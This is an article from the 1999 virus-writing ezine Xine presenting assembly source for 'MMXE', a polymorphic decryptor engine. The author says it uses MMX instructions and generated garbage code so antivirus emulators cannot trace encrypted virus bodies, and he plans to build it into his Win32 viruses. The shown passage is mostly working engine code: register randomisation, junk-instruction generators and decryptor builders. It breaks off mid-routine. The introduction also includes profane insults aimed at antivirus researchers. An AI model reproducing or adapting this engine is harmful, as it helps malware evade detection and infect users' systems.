Copy Link
Add to Bookmark
Report

Xine - issue #4 - Phile 301

eZine's profile picture
Published in 
Xine
 · 7 months ago

 
/-----------------------------\
| Xine - issue #4 - Phile 301 |
\-----------------------------/

; [MMXE] - MultiMedia eXtensions Engine v1.01
; Copyright (c) 1999 by Billy Belcebu/iKX
;
; [ Introduction to MMXE ]
;
; Ladies and gentlemen... The world's first MMX oriented polymorphic engine!
; I want to see emulators tracing it! Well, as you can think, it's an extra-
; vaganza, but let me explain what forced me to do it. One day i was playing
; around with the FPU instructions (while coding my PoshKiller), and i built
; an encryptor using only the coprocessor, but due to some strange problems
; with the coprocessor's way to round up, i had to code a mix between the
; ussual XOR encryption method and the FPU, for stop emulators. But i had
; heard that DrWeb emulates FPU... And this is a real shit! I began to think,
; "what is not emulated?"... And there it was, the (relative) new MMX instru-
; ctions. I think that people has at least a P166MMX (as me!), so i built
; this thingy. By the way... added to the fact that this engine will generate
; the most strange decryptors around, we have the speed. It's a hell speedy
; thingy! :)
;
; This engine will also work with non-MMX machines.
;
; [ Compatibility with non-MMX machines ]
;
; The only way for compatibility is to use a function that's equal exactly in
; MMX and in its normal usage, for example PXOR and XOR functions. We must
; make two decryptors, one using MMX instructions everywhere and other usual
; one. Look at this diagram (example of what could be generated by MMXE):
;
; Ú-----------¿ ¿ 01. Check for MMX presence: if found goto 2; else goto E
; | Decryptor | Ã- 02. Get pseudo delta offset
; Ã-----------´ Ù 03. Load size into size register
; | | 04. Load pointer into pointer register
; | | 05. Load key into key register
; | Encrypted | 06. Move to MMX register used as key the key
; | data | 07. Move the pointed dword to MMX reg used as pointer
; | | 08. Perform the MMX encryption operation
; | | 09. Store the decrypted dword in its position
; À-----------Ù 0A. Increase pointer register by 4
; 0B. Decrease counter register by 1
; 0C. Loop 07 (while counter reg != 0)
; 0D. Jump to encrypted data (already decrypted)
; 0E. Get pseudo delta offset
; 0F. Load size into size register
; 10. Load pointer into pointer register
; 11. Load key into key register
; 12. Perform the non-MMX encryption operation
; 13. Increase pointer register by 4
; 14. Decrease counter register by 1
; 15. Loop 12 (while counter reg != 0)
; 16. Jump to encrypted data (already decrypted)
;
; Of course, between all the points will be garbage, but note the different
; kind of it:
;
; 02..0D -> MMX instructions also used as garbage
; 01,0E..16 -> MMX instructions don't used as garbage
;
; [ Brief explanation of some MMX stuff ]
;
; Anyway, if you want to text for MMX presence, you can do it by checking
; flag 23 returned by CPUID when EAX was 1. Ok, ok... simply with this code
; lines:
;
; mov eax,1
; cpuid
; test edx,00000000010000000000000000000000b
; jnz mmx_not_found
; jmp mmx_found
;
; or even the optimized version:
;
; xor eax,eax
; inc eax
; cpuid
; bt edx,17h
; jnc mmx_not_found
;
; It is very viable, as we have some "known" operations, but speeded up, such
; as PXOR, POR, PAND, and such like. So it's very easy to perform a simple
; encryptor by using MMX instructions. Here you have an example:
;
; lea edi,pointer_to_data_to_crypt
; mov esi,enc_key
; mov ecx,size_to_crypt/4
; movd mm2,esi
; @@1: movd mm1,[edi]
; pxor mm1,mm2
; movd [edi],mm1
; add edi,4
; loop @@1
;
; This will perform a simple XOR operation dword per dword to all the encryp-
; ted data. Simple, huh? :) I would like to see the face that will have the
; first AV in obtain something that uses MMX! Hehehe, he won't be expecting
; such like thing! :)
;
; Well, this engine provides a weak encryption, just because i need more time
; for experiment with the different MMX opcodes. Also, i've never been very
; good at poly: i begin very spectacular projects, but i become bored by them
; very quickly (for example, i've coded an engine called WPE, i have it in my
; HD, but i think i will never finish it... it's now about 3.5K...). Well,
; i think there'll be a version 2.00 of this engine, that will be implemented
; in one of my simplest viruses (such as Win32.Aztec or Win32.Paradise) for
; test its abilities.
;
; [ Dedications, Fucks & Thoughts ]
;
; This engine is dedicated to all my friends: b0z0, StarZer0, SeptiC, Benny,
; Super, nIgr0, MDriller, VirusBuster, Wintermute, Ypsilon, etc.
; Fucks go to the following motherfuckers: IntelServ/VGrep/Algorithm/etc, to
; all fascists and totalitarian ppl over the earth, to the catholics fanatics
; (or of another religion)... i.e. all the people that doesn't control his
; life, who is not free, and wants all the other ppl to be as him...
;
; I'll be forever free (nice song, heh inty?) :)
;
; (c) 1999 Billy Belcebu/iKX

.586p
.model flat

extrn ExitProcess:PROC
extrn GetTickCount:PROC
extrn MessageBoxA:PROC
rdtcs equ <dw 310Fh>

.data
db "[MMXE] - MultiMedia eXtensions Engine v1.00",0
db "A research made by Billy Belcebu/iKX",0
.code

; Here follows some code used by me for test the engine

fakehost:
xor ebp,ebp

call GetTickCount
mov dword ptr [ebp+rnd_seed1],eax
rdtcs
mov dword ptr [ebp+rnd_seed2],eax
mov dword ptr [ebp+rnd_seed3],edx

int 3

lea esi,crypt
lea edi,buffer
mov ecx,cryptsize
call mmxe

call buffer ; Decrypt

push 00001000h
push offset c1
push offset c2
push 00000000h
call MessageBoxA

push 0
call ExitProcess

nop

buffer:
db LIMIT dup (90h)

crypt: ret
c1: db "[MMXE."
db (mmxe_end-mmxe)/1000 mod 10 + "0"
db (mmxe_end-mmxe)/0100 mod 10 + "0"
db (mmxe_end-mmxe)/0010 mod 10 + "0"
db (mmxe_end-mmxe)/0001 mod 10 + "0"
db "]",0
c2: db "Late at night i found myself again",10
db "wondering and watching TV",10
db "I can't believe what's on the screen",10
db "something that i wouldn't like to see",10
db "Many rare species will perish soon",10
db "and we'll be short on food",10
db "Why do we have to be so selfish",10
db "we have to change our attitude",10
db "I know that i am not",10
db "the only one that's worried",10
db "Why don't we all",10
db "wake up, and and realize",10
db "Like the birds in the sky",10
db "we are flying so high",10
db "without making anykind of sacrifice",10
db "We've got so little time",10
db "to undo this crime",10
db "or we'll lose our paradise",10
db "It seems to me that there's no sense at all",10
db "nobody cares, it's always the same",10
db "Mother nature's crying out in pain",10
db "I know we are the ones to blame",10
db "Paradise [ Stratovarius ]",10,10
db "(c) 1999 Billy Belcebu/iKX",0
dd 00000000h
cryptsize equ $-crypt

; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=
; [MMXE] - MultiMedia eXtensions Engine v1.01
; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=
;
; This is a bugfixed and improved version of my MMXE v1.00. Enjoy it!
; PS: Of course, this engine is so far away from Mental Driller's code, but
; at least it tries to be poly, huh? :)
;
; input:
; ECX = Size of code to encrypt
; ESI = Pointer to the data to encrypt
; EDI = Buffer where put the decryptor
; EBP = Delta Offset
; output:
; ECX = Decryptor size
;
; All the other registers, preserved.
;

; [ Default MMXE settings ]

LIMIT equ 800h ; Decryptor size (2K)
RECURSION equ 05h ; The recursion level of THME
nGARBAGE equ 08h ; Sorta level of garbage

; [ Registers ]

_EAX equ 00000000b ; All these are the numeric
_ECX equ 00000001b ; value of all the registers.
_EDX equ 00000010b ; Heh, i haven't used here
_EBX equ 00000011b ; all this, but... wtf? they
_ESP equ 00000100b ; don't waste bytes, and ma-
_EBP equ 00000101b ; ke this shit to be more
_ESI equ 00000110b ; clear :)
_EDI equ 00000111b ;

; [ MMX registers ]

_MM0 equ 00000000b
_MM1 equ 00000001b
_MM2 equ 00000010b
_MM3 equ 00000011b
_MM4 equ 00000100b
_MM5 equ 00000101b
_MM6 equ 00000110b
_MM7 equ 00000111b

; [ Internal flags ]

_CHECK4MMX equ 0000000000000001b
_DELTAOFFSET equ 0000000000000010b
_LOADSIZE equ 0000000000000100b
_LOADPOINTER equ 0000000000001000b
_LOADKEY equ 0000000000010000b
_PASSKEY2MMX equ 0000000000100000b
_PASSPTR2MMX equ 0000000001000000b
_CRYPT equ 0000000010000000b
_PASSMMX2PTR equ 0000000100000000b
_INCPOINTER equ 0000001000000000b
_DECCOUNTER equ 0000010000000000b
_LOOP equ 0000100000000000b

; [ POSITIONS ]

@CHECK4MMX equ 00h
@DELTAOFFSET equ 01h
@LOADSIZE equ 02h
@LOADPOINTER equ 03h
@LOADKEY equ 04h
@PASSKEY2MMX equ 05h
@PASSPTR2MMX equ 06h
@CRYPT equ 07h
@PASSMMX2PTR equ 08h
@INCPOINTER equ 09h
@DECCOUNTER equ 0Ah
@LOOP equ 0Bh

; [ PUSHAD structure ]

PUSHAD_EDI equ 00h
PUSHAD_ESI equ 04h
PUSHAD_EBP equ 08h
PUSHAD_ESP equ 0Ch
PUSHAD_EBX equ 10h
PUSHAD_EDX equ 14h
PUSHAD_ECX equ 18h
PUSHAD_EAX equ 1Ch

RETURN_ADDRESS equ 04h

; [ MMXE v1.01 ]

mmxe proc
pushad
call @@init_mmxe

pushad
call @@crypt_data
popad

call @@gen_some_garbage
call @@gen_check4mmx
call @@gen_some_garbage

; Generate the 5 parts of the decryptor that go before the loop

@@gb4l_:
call @@gen_some_garbage
call @@gen_before_loop
@@gb4l?:
movzx ecx,word ptr [ebp+@@flags]
xor ecx,_CHECK4MMX or \ ; Check if all flags were
_DELTAOFFSET or \ ; done ... (They should be,
_LOADSIZE or \ ; but i don't trust in my own
_LOADPOINTER or \ ; code :)
_LOADKEY or \
_PASSKEY2MMX
jnz @@gb4l_

; Get the loop point

call @@getloopaddress
call @@gen_some_garbage

; Generate the decryptor instructions that form the loop

lea esi,[ebp+@@after_looptbl]
mov ecx,@@s_aftlooptbl
@@gal: lodsd
add eax,ebp

push ecx esi
call eax
call @@gen_some_garbage
pop esi ecx

loop @@gal

mov al,0E9h
stosb
mov eax,LIMIT
mov ebx,edi
sub ebx,dword ptr [ebp+@@ptr_buffer]
add ebx,4
sub eax,ebx
stosd

; And now generate the non-MMX decryptor

call @@gen_garbage

mov eax,dword ptr [ebp+@@ptrto2nd]
mov ebx,edi
sub ebx,eax
sub ebx,4
mov dword ptr [eax],ebx

and word ptr [ebp+@@flags],0000h
and byte ptr [ebp+@@init_mmx?],00h
or word ptr [ebp+@@flags],_CHECK4MMX

@@gb4lx_:
call @@gen_some_garbage
call @@gen_before_loop_non_mmx

@@gb4lx?:
movzx ecx,word ptr [ebp+@@flags]
xor ecx,_CHECK4MMX or \ ; Check if all flags were
_DELTAOFFSET or \ ; done ... (They should be,
_LOADSIZE or \ ; but i don't trust in my own
_LOADPOINTER or \ ; code :)
_LOADKEY
jz @@continue_with_this

movzx ecx,word ptr [ebp+@@flags]
xor ecx,_CHECK4MMX or \ ; In strange files, i dunno
_DELTAOFFSET or \ ; why, instead 1F, we must
_LOADSIZE or \ ; check for 3F... otherwise,
_LOADPOINTER or \ ; all it goes to hell :(
_LOADKEY or \
_PASSKEY2MMX
jnz @@gb4lx_

@@continue_with_this:
call @@gen_garbage
call @@getloopaddress

lea esi,[ebp+@@after_l00ptbl]
mov ecx,@@s_aftl00ptbl
@@galx: lodsd
add eax,ebp

push ecx esi
call eax
call @@gen_some_garbage
pop esi ecx

loop @@galx

mov al,0E9h ; Generate the JMP to the
stosb ; decrypted virus code
mov eax,LIMIT
mov ebx,edi
sub ebx,dword ptr [ebp+@@ptr_buffer]
add ebx,04h
sub eax,ebx
stosd

xchg eax,ecx ; Fill with shit the rest
@@FillTheRest:
call random
stosb
loop @@FillTheRest


call @@uninit_mmxe
popad
ret

db 00h,"[MMXE v1.01]",00h

; --- Initialization & Uninitialization routines

@@init_mmxe:
mov dword ptr [ebp+@@ptr_data2enc],esi
mov dword ptr [ebp+@@ptr_buffer],edi
mov dword ptr [ebp+@@size2enc],ecx
shr ecx,2
mov dword ptr [ebp+@@size2cryptd4],ecx
and byte ptr [ebp+@@init_mmx?],00h
and word ptr [ebp+@@flags],00h
call random
mov dword ptr [ebp+@@enc_key],eax

@@get_key:
mov eax,08h
call r_range
or eax,eax
jz @@get_key
cmp eax,_ESP
jz @@get_key
mov byte ptr [ebp+@@reg_key],al
mov ebx,eax
@@get_ptr2data:
mov eax,08h
call r_range
or eax,eax
jz @@get_ptr2data
cmp eax,_ESP
jz @@get_ptr2data
cmp eax,_EBP
jz @@get_ptr2data
cmp eax,ebx
jz @@get_ptr2data
mov byte ptr [ebp+@@reg_ptr2data],al
mov ecx,eax
@@get_counter:
mov eax,08h
call r_range
or eax,eax
jz @@get_counter
cmp eax,_ESP
jz @@get_counter
cmp eax,ebx
jz @@get_counter
cmp eax,ecx
jz @@get_counter
mov byte ptr [ebp+@@reg_counter],al
mov edx,eax
@@get_delta:
mov eax,08h
call r_range
or eax,eax
jz @@get_delta
cmp eax,_ESP
jz @@get_delta
cmp eax,ebx
jz @@get_delta
cmp eax,ecx
jz @@get_delta
cmp eax,edx
jz @@get_delta
mov byte ptr [ebp+@@reg_delta],al
mov edx,eax
@@get_mmxptr2data:
mov eax,08h
call r_range
mov byte ptr [ebp+@@mmx_ptr2data],al
mov ebx,eax
@@get_mmxkey:
mov eax,08h
call r_range
cmp eax,ebx
jz @@get_mmxkey
mov byte ptr [ebp+@@mmx_key],al

mov dword ptr [edi],"EXMM"
ret

@@uninit_mmxe:
mov ecx,edi
sub ecx,dword ptr [ebp+@@ptr_buffer]
mov [esp.RETURN_ADDRESS.PUSHAD_ECX],ecx
ret

; --- Who made this? Ehrm... oh, it was me! :)

db 00h,"[- (c) 1999 Billy Belcebu/iKX -]",00h

; --- Useful subroutines used by the engine

@@get_register:
movzx ebx,byte ptr [ebp+@@reg_key]
movzx ecx,byte ptr [ebp+@@reg_ptr2data]
movzx edx,byte ptr [ebp+@@reg_counter]
movzx esi,byte ptr [ebp+@@reg_delta]
@@gr_get_another:
mov eax,08h
call r_range
cmp eax,_ESP
jz @@gr_get_another
cmp eax,ebx
jz @@gr_get_another
cmp eax,ecx
jz @@gr_get_another
cmp eax,edx
jz @@gr_get_another
cmp eax,esi
jz @@gr_get_another
cmp al,byte ptr [ebp+@@reg_mask]
jz @@gr_get_another
ret

@@get_mmx_register:
movzx ebx,byte ptr [ebp+@@mmx_ptr2data]
movzx ecx,byte ptr [ebp+@@mmx_key]
@@gmmxr_get_another:
mov eax,08h
call r_range
cmp eax,ebx
jz @@gmmxr_get_another
cmp eax,ecx
jz @@gmmxr_get_another
ret

@@clear_mask:
and byte ptr [ebp+@@reg_mask],00h
ret

@@is_register:
cmp al,byte ptr [ebp+@@reg_key]
jz @@is_used
cmp al,byte ptr [ebp+@@reg_ptr2data]
jz @@is_used
cmp al,byte ptr [ebp+@@reg_counter]
jz @@is_used
cmp al,byte ptr [ebp+@@reg_delta]
jz @@is_used
cmp al,byte ptr [ebp+@@reg_mask]
jz @@is_used
mov cl,00h
org $-1
@@is_used:
stc
ret

@@gen_before_loop:
mov eax,05h
call r_range
or eax,eax ; 0
jz @@try_deltaoffset
dec eax ; 1
jz @@try_loadsize
dec eax ; 2
jz @@try_loadpointer
dec eax ; 3
jz @@try_loadkey ; 4
jmp @@try_passkey2mmx ; 5

@@try_deltaoffset:
bt word ptr [ebp+@@flags],@DELTAOFFSET
jc @@gen_before_loop
call @@gen_deltaoffset
ret

@@try_loadsize:
bt word ptr [ebp+@@flags],@LOADSIZE
jc @@gen_before_loop
call @@gen_loadsize
ret

@@try_loadpointer:
bt word ptr [ebp+@@flags],@LOADPOINTER
jc @@gen_before_loop
bt word ptr [ebp+@@flags],@DELTAOFFSET
jnc @@gen_before_loop
call @@gen_loadpointer
ret

@@try_loadkey:
bt word ptr [ebp+@@flags],@LOADKEY
jc @@gen_before_loop
call @@gen_loadkey
ret

@@try_passkey2mmx:
bt word ptr [ebp+@@flags],@PASSKEY2MMX
jc @@gen_before_loop
bt word ptr [ebp+@@flags],@LOADKEY
jnc @@gen_before_loop
call @@gen_passkey2mmx
ret

@@gen_before_loop_non_mmx:
mov eax,04h
call r_range
or eax,eax ; 0
jz @@try_deltaoffset_non_mmx
dec eax ; 1
jz @@try_loadsize_non_mmx
dec eax ; 2
jz @@try_loadpointer_non_mmx
jmp @@try_loadkey_non_mmx

@@try_deltaoffset_non_mmx:
bt word ptr [ebp+@@flags],@DELTAOFFSET
jc @@gen_before_loop
call @@gen_deltaoffset
ret

@@try_loadsize_non_mmx:
bt word ptr [ebp+@@flags],@LOADSIZE
jc @@gen_before_loop
call @@gen_loadsize
ret

@@try_loadpointer_non_mmx:
bt word ptr [ebp+@@flags],@LOADPOINTER
jc @@gen_before_loop
bt word ptr [ebp+@@flags],@DELTAOFFSET
jnc @@gen_before_loop
call @@gen_loadpointer
ret

@@try_loadkey_non_mmx:
bt word ptr [ebp+@@flags],@LOADKEY
jc @@gen_before_loop
call @@gen_loadkey
ret

@@crypt_data:
mov ecx,dword ptr [ebp+@@size2cryptd4]
mov ebx,dword ptr [ebp+@@enc_key]
mov edi,dword ptr [ebp+@@ptr_data2enc]
mov esi,edi
@@cl00p:lodsd
xor eax,ebx
stosd
loop @@cl00p
ret

; --- Garbage generators

@@gen_garbage:
inc byte ptr [ebp+@@recursion]
cmp byte ptr [ebp+@@recursion],RECURSION
jae @@gg_exit

cmp byte ptr [ebp+@@init_mmx?],00h
ja @@gg_mmx
@@gg_non_mmx:
mov eax,@@non_mmx_gbg
jmp @@gg_doit
@@gg_mmx:
mov eax,@@s_gbgtbl
@@gg_doit:
call r_range
lea ebx,[ebp+@@gbgtbl]
mov eax,[ebx+eax*4]
add eax,ebp
call eax

@@gg_exit:
dec byte ptr [ebp+@@recursion]
ret

@@gen_some_garbage:
mov ecx,nGARBAGE
@@gsg_l00p:
push ecx
call @@gen_garbage
pop ecx
loop @@gsg_l00p
ret

; Generates any arithmetic operation with a register with another one register:
; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP REG32,REG32

@@gen_arithmetic_reg32_reg32:
call random
and al,00111000b ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP]
or al,00000011b
stosb

@@gar32r32:
call @@get_register
or al,al
jz @@gar32r32
shl eax,3
or al,11000000b
push eax
call random
and al,00000111b
xchg ebx,eax
pop eax
or al,bl
stosb
ret

; Generates any arithmetic operation with an immediate with a 32bit register:
; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP REG32,IMM32

@@gen_arithmetic_reg32_imm32:
mov al,81h ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP]
stosb
@@gar32i32:
call @@get_register
or al,al
jz @@gar32i32
push eax
call random
and al,00111000b
or al,11000000b
pop ebx
or al,bl
stosb
call random
stosd
ret

; Generates any arithmetic operation with an immediate with EAX:
; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP EAX,IMM32

@@gen_arithmetic_eax_imm32:
call random
and al,00111000b ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP]
or al,00000101b
stosb
call random
stosd
ret

; Generates a mov immediate to 32 bit reg:
; MOV REG32,IMM32

@@gen_mov_reg32_imm32:
call @@get_register
add al,0B8h
stosb
call random
stosd
ret

; Generates mov immediate to 8bit reg:
; MOV REG8,IMM8

@@gen_mov_reg8_imm8:
mov eax,4
call r_range
call @@is_register
jc @@quitthisshit
push eax
mov eax,2
call r_range
pop ecx
xchg eax,ecx
jecxz @@use_msb
@@put_it:
add al,0B0h
stosb
call random
stosb
@@quitthisshit:
ret
@@use_msb:
or al,00000100b
jmp @@put_it

; Generates CALLs to subroutines:
; CALL @@1
; [...]
; JMP @@2
; [...]
; @@1: [...]
; RET
; [...]
; @@2: [...]

@@gen_call_to_subroutine:
mov al,0E8h
stosb
xor eax,eax
stosd
push edi
call @@gen_garbage
mov al,0E9h
stosb
xor eax,eax
stosd
push edi
call @@gen_garbage
mov al,0C3h
stosb
call @@gen_garbage
mov ebx,edi
pop edx
sub ebx,edx
mov [edx-4],ebx
pop ecx
sub edx,ecx
mov [ecx-4],edx
@@do_anything:
ret

; Generate push/garbage/pop structure (allows recursivity):
; PUSH REG
; [...]
; POP REG
;

@@gen_push_garbage_pop:
mov eax,08h
call r_range
add al,50h
stosb
call @@gen_garbage
call @@get_register
add al,58h
stosb
ret

; MMX Group 1:
;
; PUNPCKLBW/PUNPCKLWD/PUNPCKLDQ/PACKSSWB/PCMPGTB/PCMPGTW/PCMPGTD/PACHUSWB
; PUNPCKHBW/PUNPCKHWD/PUNPCKHDQ/PACKSSDW

@@gen_mmx_group1:
mov bx,600Fh
mov eax,0Ch
call r_range
add bh,al
xchg eax,ebx
stosw
call @@build_mmx_gbg_rib
ret

@@gen_mmx_movq_mm?_mm?:
mov ax,6F0Fh ; MOVQ MM?,MM?
stosw
call @@build_mmx_gbg_rib
ret

@@gen_mmx_movd_mm?_reg32:
mov ax,7E0Fh ; MOVD MM?,E??
stosw
call @@get_mmx_register
shl eax,3
push eax
call @@get_register
xchg eax,ebx
pop eax
or al,bl
or al,11000000b
stosb
ret

; MMX Group 2:
;
; PCMPEQB/PCMPEQW/PCMPEQD

@@gen_mmx_group2:
mov al,0Fh
stosb
mov eax,3
call r_range
add al,74h
stosb
call @@build_mmx_gbg_rib
ret

; MMX Group 3:
;
; PSRLW/PSRLD/PSRLQ/PMULLW/PSUBUSB/PSUBUSW/PAND/PADDUSB/PADDUSW/PANDN/PSRAW
; PSRAD/PMULHW/PSUBSB/PSUBSW/POR/PADDSB/PADDSW/PXOR/PSLLW/PSLLD/PSLLQ/PMULADDWD

@@gen_mmx_group3:
mov al,0Fh
stosb
call @@__overshit
@@eoeo: db 0D1h,0D2h,0D3h,0D5h,0D8h,0D9h,0DBh,0DCh,0DDh,0DFh
db 0E1h,0E2h,0E5h,0E8h,0E9h,0EBh,0ECh,0EDh,0EFh
db 0F1h,0F2h,0F5h
sg3tbl equ ($-offset @@eoeo)
@@__overshit:
pop esi
mov eax,sg3tbl
call r_range
mov al,byte ptr [esi+eax]
stosb
call @@build_mmx_gbg_rib
@@gmmx_goaway:
ret

@@build_mmx_gbg_rib:
call @@get_mmx_register
shl eax,3
push eax
call @@get_mmx_register
xchg eax,ebx
pop eax
or eax,ebx
or al,11000000b
stosb
ret

; Generate Onebyters:
;
; CLD/CMC/SALC/NOP/LAHF/INC EAX/DEC EAX/SAHF/(F)WAIT/CWDE

@@gen_onebyter:
call @@go_overshit
db 0FCh,0F5h,0D6h,90h,9Fh,40h,48h,9Eh,9Bh,98h
@@go_overshit:
pop esi
mov eax,0Ah
call r_range
mov al,byte ptr [esi+eax]
stosb
ret

; Generate many possible ways for make a determinated register to be 0:
; XOR REG,REG/SUB REG,REG/PUSH 0 POP REG/AND REG,0/MOV REG,0

@@gen_zer0_reg:
call @@get_register ; For garbage generators
@@gen_zero_reg:
push eax
mov eax,06h
call r_range
pop ecx
xchg eax,ecx
jecxz @@xor_reg_reg
dec ecx
jecxz @@sub_reg_reg
dec ecx
jecxz @@push_0_pop_reg
dec ecx
jecxz @@and_reg_0
dec ecx
jecxz @@mov_reg_0
@@or_reg_m1_inc_reg:
push eax
cmp al,_EAX
jnz @@or_reg_m1
@@or_eax_m1:
mov al,0Dh ; OR EAX,-1
stosb
xor eax,eax
dec eax
stosd
jmp @@orm1ir_inc_reg
@@or_reg_m1:
xchg eax,ebx
mov ax,0C883h ; OR REG,-1
or ah,bl
stosw
xor eax,eax
dec eax
stosb
xchg eax,ebx
@@orm1ir_inc_reg:
pop eax
add al,40h ; INC REG
stosb
ret

@@xor_reg_reg:
xchg eax,ebx
mov ax,0C033h ; XOR REG,REG
or ah,bl
shl ebx,3
or ah,bl
stosw
ret

@@sub_reg_reg:
xchg eax,ebx
mov ax,0C02Bh ; SUB REG,REG
or ah,bl
shl ebx,3
or ah,bl
stosw
ret

@@push_0_pop_reg:
push eax
mov ax,006Ah ; PUSH 00h
stosw ; POP REG
pop eax
add al,58h
stosb
ret

@@and_reg_0:
cmp al,_EAX
jnz @@and_regnoteax_0
@@and_eax_0:
mov al,25h
stosb
xor eax,eax
stosd
ret
@@and_regnoteax_0:
xchg eax,ebx
mov ax,0E083h ; AND REG,00
or ah,bl
stosw
xor eax,eax
stosb
ret

@@mov_reg_0:
add al,0B8h ; MOV REG,00000000
stosb
xor eax,eax
stosd
ret

; --- Decryptor code generators

; Generate the routine for check for MMX presence, that should perform exactly
; the same action of the following code:
; MOV EAX,1
; CPUID
; BT EDX,17h
; JNC NOT_MMX

@@gen_check4mmx:
mov eax,08h
call r_range
xchg eax,ecx
jecxz @@c4mmx_a_@@1
dec ecx
jecxz @@c4mmx_a_@@2
dec ecx
jecxz @@c4mmx_a_@@3
dec ecx
jecxz @@c4mmx_a_@@4
dec ecx
jecxz @@c4mmx_a_@@5
dec ecx
jecxz @@c4mmx_a_@@6
dec ecx
jecxz @@c4mmx_a_@@7
@@c4mmx_a_@@8:
xor eax,eax ; ZERO EAX
call @@gen_zero_reg ; SUB EAX,-1
mov al,2Dh
stosb
xor eax,eax
dec eax
stosd
jmp @@c4mmx_over_a
@@c4mmx_a_@@7:
xor eax,eax ; ZERO EAX
call @@gen_zero_reg ; ADD EAX,1
mov al,05h
stosb
xor eax,eax
inc eax
stosd
jmp @@c4mmx_over_a
@@c4mmx_a_@@6:
xor eax,eax ; ZERO EAX
call @@gen_zero_reg ; STC
mov ax,1DF9h ; SBB EAX,-2
stosw
xor eax,eax
dec eax
dec eax
stosd
jmp @@c4mmx_over_a
@@c4mmx_a_@@5:
xor eax,eax ; ZERO EAX
call @@gen_zero_reg ; STC
mov ax,15F9h ; ADC EAX,00000000
stosw
xor eax,eax
stosd
jmp @@c4mmx_over_a
@@c4mmx_a_@@4:
mov al,0Dh ; OR EAX,-1
stosb ; AND EAX,1
xor eax,eax
dec eax
stosd
mov al,25h
stosb
xor eax,eax
inc eax
stosd
jmp @@c4mmx_over_a
@@c4mmx_a_@@3:
mov eax,9058016Ah ; PUSH 01
stosd ; POP EAX
dec edi
jmp @@c4mmx_over_a
@@c4mmx_a_@@2:
xor eax,eax
call @@gen_zero_reg ; ZERO EAX
mov al,40h ; INC EAX
stosb
jmp @@c4mmx_over_a
@@c4mmx_a_@@1:
mov al,0B8h ; MOV EAX,1
stosb
xor eax,eax
inc eax
stosd
@@c4mmx_over_a:
call @@gen_garbage

mov ax,0A20Fh ; CPUID
stosw

call @@clear_mask
mov byte ptr [ebp+@@reg_mask],_EDX

call @@gen_garbage

mov eax,03h
call r_range
or eax,eax
jz @@c4mmx_b_@@3
dec eax
jz @@c4mmx_b_@@2

@@c4mmx_b_@@1:
mov eax,17E2BA0Fh ; BT EDX,17h
stosd ; JC $+??
mov al,72h
stosb
jmp @@c4mmx_over_b
@@c4mmx_b_@@2:
mov eax,0000C2F7h ; TEST EDX,00400000h
stosd ; JZ $+??
mov eax,00740040h
stosd
dec edi
jmp @@c4mmx_over_b
@@c4mmx_b_@@3:
mov eax,7218EAC1h ; SHR EDX,18h
stosd ; JC $+??
@@c4mmx_over_b:
push edi
inc edi ; Fake data for temp. fill

call @@gen_garbage

mov al,0e9h ; RET
stosb

mov dword ptr [ebp+@@ptrto2nd],edi
xor eax,eax
stosd

call @@gen_garbage

pop ebx
mov edx,edi
sub edx,ebx
dec edx
mov byte ptr [ebx],dl

inc byte ptr [ebp+@@init_mmx?]

or word ptr [ebp+@@flags],_CHECK4MMX
ret

; Generate a routine for get the pseudo delta-offset, which will look like
; this one:
; CALL @@1
; [...]
; @@1: POP REG

@@gen_deltaoffset:
mov eax,10h
call r_range
xchg eax,ebx
mov al,0E8h
stosb
xor eax,eax
stosd
mov dword ptr [ebp+@@tmp_call],edi
call @@gen_garbage
mov ecx,dword ptr [ebp+@@tmp_call]
mov ebx,edi
sub ebx,ecx
mov [ecx-4],ebx
mov al,58h
add al,byte ptr [ebp+@@reg_delta]
stosb
mov ebx,dword ptr [ebp+@@ptr_buffer]
sub ecx,ebx
mov dword ptr [ebp+@@fix1],ecx
or word ptr [ebp+@@flags],_DELTAOFFSET
ret

; Generate a routine for put in the register used as counter the size of the
; code we want to decrypt

@@gen_loadsize:
or word ptr [ebp+@@flags],_LOADSIZE
mov eax,2
call r_range
xchg eax,ecx
jecxz @@gls_@@2
@@gls_@@1:
mov al,68h ; PUSH size
stosb ; POP reg_size
mov dword ptr [ebp+@@size_address],edi
mov eax,dword ptr [ebp+@@size2cryptd4]
stosd
call @@gen_garbage
mov al,58h
add al,byte ptr [ebp+@@reg_counter]
stosb
ret
@@gls_@@2:
movzx eax,byte ptr [ebp+@@reg_counter]
add eax,0B8h ; MOV reg_size,size
stosb
mov dword ptr [ebp+@@size_address],edi
mov eax,dword ptr [ebp+@@size2cryptd4]
stosd
ret

; Generate the code that will make the pointer register to point exactly to
; the beginning of the code we want to encrypt or decrypt

@@gen_loadpointer:
mov eax,LIMIT
sub eax,dword ptr [ebp+@@fix1]
mov dword ptr [ebp+@@fix2],eax

mov eax,03h
call r_range
or eax,eax
jz @@lp_@@3
dec eax
jz @@lp_@@2
@@lp_@@1:
mov al,8Dh ; LEA reg_ptr,[reg_delta+fix]
stosb
movzx eax,byte ptr [ebp+@@reg_ptr2data]
shl al,3
add al,10000000b
add al,byte ptr [ebp+@@reg_delta]
stosb
jmp @@lp_
@@lp_@@2:
mov al,8Bh ; MOV reg_ptr,reg_delta
stosb ; ADD reg_ptr,fix
movzx eax,byte ptr [ebp+@@reg_ptr2data]
shl eax,3
or al,byte ptr [ebp+@@reg_delta]
or al,11000000b
stosb
call @@gen_garbage
mov al,81h
stosb
mov al,0C0h
or al,byte ptr [ebp+@@reg_ptr2data]
stosb
jmp @@lp_
@@lp_@@3:
call @@clear_mask ; MOV reg_mask,fix2
call @@get_register ; LEA reg_ptr,[reg_mask+reg_delta+(fix+fix2)]
mov byte ptr [ebp+@@reg_mask],al

add al,0B8h
stosb
call random
stosd

push eax
call @@gen_garbage
pop edx

sub dword ptr [ebp+@@fix2],edx

mov al,8Dh
stosb
movzx eax,byte ptr [ebp+@@reg_ptr2data]
shl eax,3
or al,10000100b
stosb
movzx eax,byte ptr [ebp+@@reg_mask]
shl eax,3
or al,byte ptr [ebp+@@reg_delta]
stosb

@@lp_:
